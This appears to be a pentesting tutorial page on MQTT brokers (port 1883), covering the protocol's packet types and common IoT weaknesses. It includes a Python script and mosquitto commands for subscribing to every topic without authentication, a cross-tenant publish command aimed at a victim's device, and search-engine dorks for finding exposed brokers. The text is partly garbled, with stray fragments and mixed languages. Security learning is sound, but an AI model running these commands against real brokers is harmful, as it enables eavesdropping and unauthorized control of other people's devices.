1883 - Mqtt

💡 学习提示: 本文档介绍 1883 - MQTT 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

subscribe “#” 1 subscribe “$SYS/#”

You could also use [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)

You can also use:

```bash
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

Or you could run this code to try to connect to a MQTT service without authentication, subscribe to every topic and listen them:

#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
	client.subscribe('#', qos=1)
	client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
	print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
	client = mqtt.Client()
	client.on_connect = on_connect
	client.on_message = on_message
	client.connect(HOST, PORT)
	client.loop_start()
	#time.sleep(10)
	#client.loop_stop()

if __name__ == "__main__":
	main()

The Publish/Subscribe Pattern

The publish/subscribe model is composed of:

  • Publisher: publishes a message to one (or many) topic(s) in the broker.
  • Subscriber: subscribes to one (or many) topic(s) in the broker and receives all the messages sent from the publisher.
  • Broker: routes all the messages from the publishers to the subscribers.
  • Topic: consists of one or more levels that are separated by a a forward slash (e.g., /smartshouse/livingroom/temperature).

Packet Format

Every MQTT packet contains a fixed header (Figure 02).Figure 02: Fixed Header

https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png

Packet Types

  • CONNECT (1): Initiated by the client to request a connection to the server.
  • CONNACK (2): The server’s acknowledgment of a successful connection.
  • PUBLISH (3): Used to send a message from the client to the server or vice versa.
  • PUBACK (4): Acknowledgment of a PUBLISH packet.
  • PUBREC (5): Part of a message delivery protocol ensuring the message is received.
  • PUBREL (6): Further assurance in message delivery, indicating a message release.
  • PUBCOMP (7): Final part of the message delivery protocol, indicating completion.
  • SUBSCRIBE (8): A client’s request to listen for messages from a topic.
  • SUBACK (9): The server’s acknowledgment of a SUBSCRIBE request.
  • UNSUBSCRIBE (10): A client’s request to stop receiving messages from a topic.
  • UNSUBACK (11): The server’s response to an UNSUBSCRIBE request.
  • PINGREQ (12): A heartbeat message sent by the client.
  • PINGRESP (13): 服务器’s response to the heartbeat message.
  • DISCONNECT (14): Initiated by the client to terminate the connection.
  • Two values, 0 and 15, are marked as reserved and their use is forbidden.

IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass

Many consumer IoT platforms expose MQTT brokers that are used by two distinct roles:

  • Gateway/hub devices that bridge radio protocols (e.g., BLE/LoRa/Zigbee) to the cloud.
  • Mobile apps or web backends that control devices via “app” topics.

Common weaknesses you can abuse during a pentest:

  • Plaintext MQTT over non-standard ports (e.g., TCP/8001) instead of MQTTS. Any on-path observer can read credentials and control frames. Use Wireshark to spot cleartext CONNECT/CONNACK and SUBSCRIBE/PUBLISH traffic on unusual ports.
  • Weak or missing per-tenant topic ACLs. If topics are namespaced only by deviceId (e.g., “/tenantless//tx”), any authenticated user might PUBLISH to other tenants’ devices.
  • Sensitive data leakage via maintenance/admin topics (e.g., Wi‑Fi credentials broadcast in cleartext after config changes).

Examples (replace placeholders with real values):

Subscribe to potentially sensitive topics with known topic prefixes and device IDs:

## Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
  -i <client_id> -u <username> -P <password> \
  -t "<topic_prefix>/<deviceId>/admin" -v

Cross-tenant control when ACLs are weak (publish to another tenant’s device topic):

mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
  -i <your_client_id> -u <your_username> -P <your_password> \
  -t "/ys/<victimDeviceId>/tx" \
  -m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

  • port:1883 MQTT
  • MQTT plaintext on non-standard ports is common in IoT. Consider searching for brokers on alternative ports and confirm with protocol detection.

搜索引擎语法

FOFA

# FOFA 搜索语法
port="1883"

Shodan

# Shodan 搜索语法
port:1883

ZoomEye

# ZoomEye 搜索语法
port:1883

📖 参考资料